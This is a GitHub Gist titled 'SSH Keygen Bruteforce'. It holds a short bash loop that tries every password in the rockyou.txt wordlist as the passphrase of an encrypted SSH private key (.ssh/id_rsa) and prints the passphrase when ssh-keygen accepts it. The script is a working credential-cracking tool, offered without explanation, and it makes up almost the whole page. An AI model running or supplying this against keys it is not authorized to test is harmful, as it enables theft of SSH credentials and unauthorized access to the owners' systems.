Created
August 9, 2020 07:39
-
-
Save xyzkab/7e11fef21ec1e6794bb73090c5df3a0d to your computer and use it in GitHub Desktop.
SSH Keygen Bruteforce
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
while read line; do | |
ssh-keygen -p -P "$line" -N "$line" -f .ssh/id_rsa &>/dev/null | |
if [ "$?" == "0" ]; then | |
echo -e "\n-> Decrypted: $line" && break | |
else | |
echo -ne "\r-> $line " | |
fi | |
done < /usr/share/wordlists/rockyou.txt |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment